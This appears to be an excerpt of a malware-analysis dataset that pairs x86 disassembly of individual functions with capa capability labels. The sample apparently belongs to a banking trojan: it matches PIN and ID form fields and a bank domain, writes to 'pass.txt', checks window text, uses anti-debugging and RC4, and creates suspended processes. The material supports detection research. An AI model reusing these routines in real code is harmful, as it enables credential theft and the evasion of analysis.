joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10047330
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, ecx
cmp dword [ebx + 0x254], 0
jne 0x10047347
or eax, 0xffffffff
pop ebx
pop ebp
ret 0xc
mov eax, dword [ebx]
push esi
cmp eax, 0xffffffff
jne 0x100473fe
push edi
push dword [ebx + 0x258]
call fcn.10043a90
add esp, 4
lea ecx, [ebx + 0x260]
lea eax, [eax*2 + 0x20]
push eax
call fcn.10047960
push dword [ebx + 0x258]
mov esi, eax
push esi
call fcn.10043a30
push str._.
push esi
call fcn.10043750
add esp, 0x10
lea eax, [ebx + 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push esi
lea ecx, [ebx + 0x260]
mov dword [ebx], eax
call fcn.10047a00
cmp dword [ebx], 0xffffffff
pop edi
je 0x1004740d
lea esi, [ebx + 4]
mov ecx, dword [ebp + 8]
test ecx, ecx
je 0x100473c7
lea eax, [ebx + 0x30]
push eax
push ecx
call fcn.10043a30
add esp, 8
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x100473dd
test byte [esi], 0x10
sete al
lea eax, [eax*4 + 4]
mov byte [ecx], al
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x10047423
cmp byte [ecx], 8
jne 0x10047416
mov ecx, dword [ebx + 0x20]
xor eax, eax
or eax, dword [ebx + 0x24]
pop esi
mov dword [edx], eax
xor eax, eax
mov dword [edx + 4], ecx
pop ebx
pop ebp
ret 0xc
lea esi, [ebx + 4]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x100473b3
pop esi
or eax, 0xffffffff
pop ebx
pop ebp
ret 0xc
mov dword [edx], 0
mov dword [edx + 4], 0
pop esi
xor eax, eax
pop ebx
pop ebp
ret 0xc

Function at 0x100475a0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
mov esi, ecx
push dword [esi + 0x258]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x100475b8
or eax, eax
pop esi
ret
mov dword [esi + 0x254], 1
xor eax, eax
pop esi
ret

Function at 0x10047730
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
push edi
mov esi, ecx
push 0x10
push 0
lea edi, [esi + 0x30]
push edi
call fcn.10043f30
push 0x44
lea eax, [ebp - 0x44]
push 0
push eax
call fcn.10043f30
mov ecx, dword [esi + 0x2c]
add esp, 0x18
mov dword [ebp - 0x44], 0x44
test ecx, ecx
je 0x1004777b
mov eax, dword [esi + 0x28]
or dword [ebp - 0x18], 0x100
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
mov eax, dword [esi + 0x1c]
mov dword [ebp - 0xc], eax
push edi
xor edx, edx
lea eax, [ebp - 0x44]
cmp dword [ebp + 8], edx
push eax
push 0
push 0
mov eax, 0x8000000
cmovne eax, edx
push eax
xor eax, eax
test ecx, ecx
setne al
push eax
push edx
push edx
push dword [esi + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10048740
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004a36b
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x1006b850]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
lea ecx, [edi + 0x10]
call fcn.10047940
lea ecx, [edi + 0x18]
call fcn.10045440
mov eax, dword [ebp + 8]
lea ecx, [edi + 0x10]
mov dword [edi + 8], eax
mov dword [edi + 4], 0
mov eax, dword [edi + 8]
shl eax, 3
push eax
mov dword [ebp - 4], 0
call fcn.10047960
mov dword [edi], eax
mov eax, dword [ebp + 0xc]
mov dword [edi + 0x30], eax
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x10049930
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
xor edx, edx
push edi
mov edi, 1
or eax, 0xffffffff
mov cl, byte [esi]
shl edi, cl
dec edi
cmp dword [esi + 4], edx
jle 0x1004996f
push ebx
mov ebx, dword [ebp + 8]
nop
movsx ecx, byte [edx + ebx]
inc edx
xor ecx, eax
sar eax, 8
and ecx, 0xff
and eax, 0xffffff
xor eax, dword [esi + ecx*4 + 0x20]
cmp edx, dword [esi + 4]
jl 0x10049950
pop ebx
not eax
and eax, edi
pop edi
pop esi
pop ebp
ret 4
Function at 0x10001850
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
mov ecx, 0x10
mov esi, 0x34356f8
lea edi, [ebp - 0x44]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp + 8]
add esi, 0xfffffffe
xor ecx, ecx
test esi, esi
jle 0x100018e2
jmp 0x10001880
movzx edi, byte [edx + ecx]
shr edi, 2
movzx ebx, byte [ebp + edi - 0x44]
mov byte [eax], bl
movsx edi, byte [edx + ecx]
movzx ebx, byte [edx + ecx + 1]
and edi, 3
shr ebx, 4
shl edi, 4
or edi, ebx
movzx ebx, byte [ebp + edi - 0x44]
mov byte [eax + 1], bl
movsx ebx, byte [edx + ecx + 1]
movzx edi, byte [edx + ecx + 2]
and ebx, 0xf
add ebx, ebx
shr edi, 6
add ebx, ebx
or edi, ebx
movzx ebx, byte [ebp + edi - 0x44]
mov byte [eax + 2], bl
movsx edi, byte [edx + ecx + 2]
and edi, 0x3f
movzx ebx, byte [ebp + edi - 0x44]
mov byte [eax + 3], bl
add ecx, 3
add eax, 4
cmp ecx, esi
jl 0x10001880
cmp ecx, dword [ebp + 8]
jge 0x1000195e
movzx esi, byte [ecx + edx]
shr esi, 2
mov bl, byte [ebp + esi - 0x44]
mov esi, dword [ebp + 8]
dec esi
mov byte [eax], bl
cmp ecx, esi
jne 0x10001921
movsx ecx, byte [ecx + edx]
and ecx, 3
add ecx, ecx
mov dl, byte [ebp + ecx*8 - 0x44]
mov byte [eax + 1], dl
pop edi
mov byte [eax + 2], 0x3d
add eax, 3
pop esi
mov word [eax], 0x3d
pop ebx
mov esp, ebp
pop ebp
ret 4
lea esi, [ecx + edx + 1]
movsx ecx, byte [ecx + edx]
movzx edx, byte [esi]
and ecx, 3
shl ecx, 4
shr edx, 4
or ecx, edx
movzx ecx, byte [ebp + ecx - 0x44]
mov byte [eax + 1], cl
movsx edx, byte [esi]
and edx, 0xf
movzx ecx, byte [ebp + edx*4 - 0x44]
pop edi
mov byte [eax + 2], cl
add eax, 3
pop esi
mov word [eax], 0x3d
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
mov byte [eax], 0
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10003940
Capabilities:
Execute anti-debugging instructions

Disassembly:
rdtsc
xor dword [0x343e210], eax
push ebx
push esi
push edi
mov edi, dword [0x343519c]
call edi
mov ebx, dword [0x3435194]
xor dword [0x343e210], eax
push 0x343622c
call ebx
test eax, eax
je 0x10003981
push 0x34398a4
push eax
call dword [0x3435190]
test eax, eax
je 0x10003981
push 0x343e210
call eax
mov ecx, dword [0x343e210]
mov eax, ecx
xor edx, edx
or esi, 0xffffffff
div esi
lea esi, [ecx + eax]
rdtsc
xor ecx, eax
mov dword [0x343e210], ecx
call edi
xor dword [0x343e210], eax
push 0x343622c
call ebx
test eax, eax
je 0x100039c7
push 0x34398a4
push eax
call dword [0x3435190]
test eax, eax
je 0x100039c7
push 0x343e210
call eax
mov ecx, dword [0x343e210]
push esi
mov eax, ecx
xor edx, edx
or esi, 0xffffffff
div esi
add eax, ecx
push eax
push 0x3435968
push 0x104
push 0x3449c60
call dword [0x34352f4]
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0x1000d7a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x343f588
mov dword [ebp - 4], 0x10
call dword [0x34352a4]
push 0x343f588
call dword [0x34352a8]
or ecx, 0xffffffff
mov edx, 0x343f588
test eax, eax
je 0x1000d7ed
movzx esi, byte [edx]
xor esi, ecx
and esi, 0xff
shr ecx, 8
xor ecx, dword [esi*4 + 0x343f6c8]
inc edx
dec eax
jne 0x1000d7d4
mov edi, dword [0x34354d4]
not ecx
mov esi, ecx
push esi
push 0x343e504
push 0x343f5a0
call edi
lea ebx, [esi + esi]
push ebx
push 0x343e504
push 0x343f54c
call edi
lea ecx, [esi + esi*2]
push ecx
push 0x343e504
push 0x343f5dc
call edi
push esi
push 0x343e580
push 0x343f670
call edi
push ebx
push 0x343e580
push 0x343f630
call edi
add esp, 0x3c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000da30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push 0x101
lea eax, [ebp - 0x104]
push eax
push ecx
call dword [0x34354e4]
mov edx, eax
or eax, 0xffffffff
lea ecx, [ebp - 0x104]
test edx, edx
je 0x1000da7a
push esi
lea esp, [esp]
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x343f6c8]
inc ecx
dec edx
jne 0x1000da60
pop esi
not eax
mov esp, ebp
pop ebp
ret

Function at 0x1000daf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x3449ed4]
sub esp, 0x104
push ebx
mov ebx, dword [0x34353a8]
push esi
push edi
push 1
push 5
push eax
call ebx
push eax
call ebx
mov edi, dword [0x343540c]
mov esi, eax
lea esp, [esp]
push esi
call dword [0x34353e4]
test eax, eax
je 0x1000dbb7
push 0xfffffffffffffff0
push esi
call dword [0x343541c]
test eax, 0x40000000
jne 0x1000db9c
push 0x101
lea ecx, [ebp - 0x104]
push ecx
push esi
call dword [0x34354e4]
or ecx, 0xffffffff
lea edx, [ebp - 0x104]
test eax, eax
je 0x1000db7f
nop
movzx ebx, byte [edx]
xor ebx, ecx
and ebx, 0xff
shr ecx, 8
xor ecx, dword [ebx*4 + 0x343f6c8]
inc edx
dec eax
jne 0x1000db60
mov ebx, dword [0x34353a8]
not ecx
test ecx, ecx
je 0x1000db96
xor eax, eax
cmp ecx, dword [eax*8 + 0x343e528]
je 0x1000dbcd
inc eax
cmp eax, 0xb
jb 0x1000db87
xor eax, eax
test al, 0x20
je 0x1000dbb7
push 0
push 0x1b
push 0x100
push esi
call edi
push 0xc01b0000
push 0x1b
push 0x101
push esi
call edi
push 3
push esi
call ebx
mov esi, eax
test esi, esi
jne 0x1000db20
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movzx eax, word [eax*8 + 0x343e52c]
jmp 0x1000db98
Function at 0x10017c10
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [ebp + 0xc]
test edx, edx
jle 0x10017ca3
mov ecx, dword [ebp + 8]
push ebx
sub ecx, esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
jmp 0x10017c34
mov ecx, dword [ebp - 0xc]
movzx ecx, byte [ecx + esi]
mov byte [ebp - 1], cl
mov cl, byte [eax + 0x100]
movzx edi, cl
movzx edx, byte [edi + eax]
add edi, eax
mov byte [ebp + 0xf], dl
mov dl, byte [eax + 0x101]
add dl, byte [ebp + 0xf]
mov dword [ebp - 0x10], edi
movzx edi, dl
mov bl, byte [edi + eax]
add edi, eax
mov dword [ebp - 0x14], edi
mov edi, dword [ebp - 0x10]
mov byte [edi], bl
mov edi, dword [ebp - 0x14]
mov byte [ebp + 0xb], bl
movzx ebx, byte [ebp + 0xf]
mov byte [edi], bl
movzx ebx, byte [ebp + 0xf]
movzx edi, byte [ebp + 0xb]
add edi, ebx
mov bl, byte [ebp - 1]
and edi, 0xff
xor bl, byte [edi + eax]
inc cl
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
mov byte [esi], bl
inc esi
dec dword [ebp - 8]
jne 0x10017c31
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x10021060
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.LocalEAF329BF_8989_4fe1_9A0D_95CD39DC0214
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x100210a8
lea ebx, [ebx]
push 0x64
call ebx
push str.LocalEAF329BF_8989_4fe1_9A0D_95CD39DC0214
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x10021090
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov dword [esp + 0xc], 0
test esi, esi
je 0x100210db
lea eax, [esp + 0xc]
push eax
push esi
call edi
test eax, eax
je 0x100210db
test byte [esp + 0xc], 2
jne 0x100210db
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x10020de0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10021128
push 0x9c40
call ebx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0xc]
push ecx
push esi
mov dword [esp + 0x14], 0
call edi
test eax, eax
je 0x10021128
test byte [esp + 0xc], 2
jne 0x10021128
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1005ca80
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push str.INTER
push 0x1005ca80
call fcn.10013590
push 0x9c40
call ebx
call fcn.10021060
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10021160
Capabilities:
Create thread
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
cmp dword [0x1005a2b4], 0
jne 0x1002128e
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.cbsmain.dll
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x1002128e
mov eax, dword [ebp + 8]
push 0x104
lea edx, [ebp - 0x104]
push edx
push 2
push eax
call dword [sym.imp.USER32.dll_GetAncestor]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
cmp dword [0x1005a2b0], 0
jne 0x10021212
mov ecx, 0x1004a644
lea eax, [ebp - 0x104]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100211f7
test dl, dl
je 0x100211f3
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100211f7
add eax, 2
add ecx, 2
test dl, dl
jne 0x100211d7
xor eax, eax
jmp 0x100211fc
sbb eax, eax
sbb eax, 0xffffffff
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
mov dword [0x1005a2b0], eax
test eax, eax
je 0x1002128e
mov ecx, 0x1004a654
lea eax, [ebp - 0x104]
lea ecx, [ecx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10021240
test dl, dl
je 0x1002123c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10021240
add eax, 2
add ecx, 2
test dl, dl
jne 0x10021220
xor eax, eax
jmp 0x10021245
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1002128e
push esi
push eax
push eax
push eax
push 0x10021400
push eax
push eax
mov dword [0x1005a2b4], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1002128d
lea edx, [ebp + 8]
push edx
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1002128d
test byte [ebp + 8], 2
jne 0x1002128d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10021520
Capabilities:
Create directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x100216d1
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
push str.txtSubId
push edi
call esi
add esp, 8
test eax, eax
jne 0x1002156e
push str.txtPin
push edi
call esi
add esp, 8
test eax, eax
jne 0x1002156e
push str.ebank.laiki.com
push edi
call esi
add esp, 8
test eax, eax
je 0x100216d1
xor eax, eax
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x108], cl
inc eax
test cl, cl
jne 0x10021570
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1005d4a8
call ebx
mov eax, 0x1005d4a8
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10021596
lea edi, [ebp - 0x108]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100215a8
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x1005d4a8
rep movsb byte es:[edi], byte [esi]
call ebx
xor eax, eax
jmp 0x100215d0
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x210], cl
inc eax
test cl, cl
jne 0x100215d0
mov eax, 0x1005d4a8
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100215f0
lea edi, [ebp - 0x210]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10021600
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0x210]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.10007400
push 0
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x1002165d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10021656
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov esi, dword [ebp + 8]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10021672
sub eax, edx
push eax
push esi
mov eax, str.pass.txt
call fcn.10007140
push str.LocalEAF339BF_89ea_4fe1_9A0D_95CD39DC0214
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x100216d1
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea ecx, [ebp + 8]
push ecx
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x100216d1
test byte [ebp + 8], 2
jne 0x100216d1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100282e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test ecx, ecx
jne 0x100282f0
xor eax, eax
pop ebp
ret 4
push esi
not eax
cmp edx, 8
jb 0x100283bf
mov esi, edx
shr esi, 3
push edi
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x3437d50]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x3437d50]
movzx edi, byte [ecx + 2]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x3437d50]
movzx edi, byte [ecx + 3]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x3437d50]
movzx edi, byte [ecx + 4]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x3437d50]
movzx edi, byte [ecx + 5]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x3437d50]
movzx edi, byte [ecx + 6]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x3437d50]
movzx edi, byte [ecx + 7]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x3437d50]
add ecx, 8
sub edx, 8
dec esi
jne 0x10028302
pop edi
test edx, edx
je 0x100283dc
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x3437d50]
inc ecx
dec edx
jne 0x100283c3
not eax
pop esi
pop ebp
ret 4
Function at 0x100283f0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
push esi
push edi
call dword [0x343512c]
cmp eax, 1
je 0x10028411
mov eax, 0x1000000
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
lea eax, [ebp - 0x74]
push eax
push edi
call dword [0x3435128]
test eax, eax
jne 0x1002842d
mov eax, 0x200
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
lea ecx, [ebp - 0x30]
push ecx
call dword [0x34351f4]
lea edx, [ebp - 0x40]
push edx
call dword [0x3435134]
mov esi, dword [0x3435138]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x30]
push ecx
call esi
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x40]
push eax
call esi
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
sbb ecx, dword [ebp - 0x14]
sub dword [ebp - 0x60], eax
sbb dword [ebp - 0x5c], ecx
sub dword [ebp - 0x68], eax
sbb dword [ebp - 0x64], ecx
sub dword [ebp - 0x70], eax
sbb dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x74]
mov eax, ecx
xor esi, esi
and eax, 1
je 0x1002848f
mov dword [ebp - 8], 1
mov esi, dword [ebp - 8]
test cl, 2
je 0x10028497
or esi, 2
test cl, 4
je 0x1002849f
or esi, 4
mov edx, ecx
and edx, 0x10
je 0x100284a9
or esi, 0x10
test cl, 0x20
je 0x100284b1
or esi, 0x20
test edx, edx
je 0x100284bd
or esi, 0x40000000
jmp 0x100284c3
or esi, 0x80000000
or esi, 0x1000000
mov dword [ebp - 8], esi
test eax, eax
jne 0x100284d9
or esi, 0x800000
mov dword [ebp - 8], esi
push 0
push edi
call dword [0x343513c]
mov dword [ebp - 0x10], eax
cmp eax, 0x28
jbe 0x10028580
mov esi, dword [0x34351fc]
push 0
push 0
push 0
push edi
call esi
mov ebx, dword [0x343521c]
push 0
lea ecx, [ebp - 0xc]
push ecx
push 2
lea edx, [ebp - 4]
push edx
push edi
call ebx
push 0
push 0
push 0x24
push edi
call esi
push 0
lea eax, [ebp - 0xc]
push eax
push 4
lea ecx, [ebp - 0x14]
push ecx
push edi
call ebx
mov edx, 0x54ad
cmp word [ebp - 4], dx
jne 0x1002857d
mov eax, dword [ebp - 0x14]
lea ecx, [eax + 0x34]
cmp dword [ebp - 0x10], ecx
jbe 0x1002857d
push 0
push 0
push eax
push edi
call esi
push 0
lea edx, [ebp - 0xc]
push edx
push 4
lea eax, [ebp - 0x1c]
push eax
push edi
call ebx
mov eax, dword [ebp - 0x1c]
cmp eax, 0x5a4d
je 0x10028576
cmp eax, 0x454e
je 0x10028576
cmp eax, 0x454c
je 0x10028576
cmp eax, 0x4550
jne 0x1002857d
or dword [ebp - 8], 0x400000
mov esi, dword [ebp - 8]
mov eax, dword [ebp + 8]
xor ecx, ecx
cmp eax, ecx
je 0x1002858b
mov dword [eax], esi
mov eax, dword [ebp + 0xc]
cmp eax, ecx
je 0x10028597
mov edx, dword [ebp - 0x10]
mov dword [eax], edx
mov eax, dword [ebp + 0x10]
cmp eax, ecx
je 0x100285a6
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov esi, dword [ebp + 0x14]
cmp esi, ecx
je 0x100285ce
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp + 8]
push ecx
lea edx, [ebp - 0x60]
push edx
call dword [0x3435140]
movzx eax, word [ebp + 8]
movzx ecx, word [ebp + 0xc]
shl eax, 0x10
or eax, ecx
mov dword [esi], eax
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x1002d330
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
mov eax, dword [eax + 0x340]
push esi
push edi
test eax, eax
jne 0x1002d350
mov eax, 0x343acd4
push 0x343acc0
push eax
lea ecx, [ebp - 0x214]
push 0x343acdc
push ecx
call dword [0x34354d4]
lea eax, [ebp - 0x214]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1002d374
mov ecx, dword [ebx + 0x75c4]
sub eax, edx
lea edx, [ecx + eax + 0xd]
cmp edx, 0x7530
jbe 0x1002d3be
push ecx
lea eax, [ebx + 0x94]
push eax
mov eax, ebx
call fcn.10030cd0
test eax, eax
jns 0x1002d3b4
mov esi, ebx
call fcn.10030a00
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov dword [ebx + 0x75c4], 0
mov al, byte [0x343e05d]
movsx ecx, al
neg ecx
sbb ecx, ecx
and ecx, 0x302fefc
xor edx, edx
add ecx, 0xfffe0003
test al, al
lea eax, [ebp - 0x214]
mov dword [ebp - 0x10], edx
mov dword [ebp - 8], ecx
lea edx, [eax + 1]
je 0x1002d411
jmp 0x1002d3f0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1002d3f0
sub eax, edx
lea edx, [eax + 1]
shr edx, 8
inc eax
and edx, 0xff
shl eax, 8
xor edx, eax
mov word [ebp - 0xc], dx
jmp 0x1002d41f
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1002d411
sub eax, edx
inc eax
mov word [ebp - 0xc], ax
mov ecx, dword [ebx + 0x75c4]
xor eax, eax
lea edi, [ecx + ebx + 0x94]
mov word [ebp - 0xa], ax
lea esi, [ebp - 0x10]
mov ecx, 0xc
rep movsb byte es:[edi], byte [esi]
add dword [ebx + 0x75c4], 0xc
mov edx, dword [ebx + 0x75c4]
lea eax, [ebp - 0x214]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1002d452
sub eax, esi
lea ecx, [eax + 1]
lea edi, [edx + ebx + 0x94]
lea esi, [ebp - 0x214]
lea eax, [ebp - 0x214]
rep movsb byte es:[edi], byte [esi]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1002d476
sub eax, edx
inc eax
add dword [ebx + 0x75c4], eax
mov eax, dword [ebx + 0x75c4]
push eax
lea edx, [ebx + 0x94]
push edx
mov eax, ebx
call fcn.10030cd0
test eax, eax
js 0x1002d3a2
pop edi
pop esi
mov dword [ebx + 0x75c4], 0
or al, 0xff
pop ebx
mov esp, ebp
pop ebp
ret 4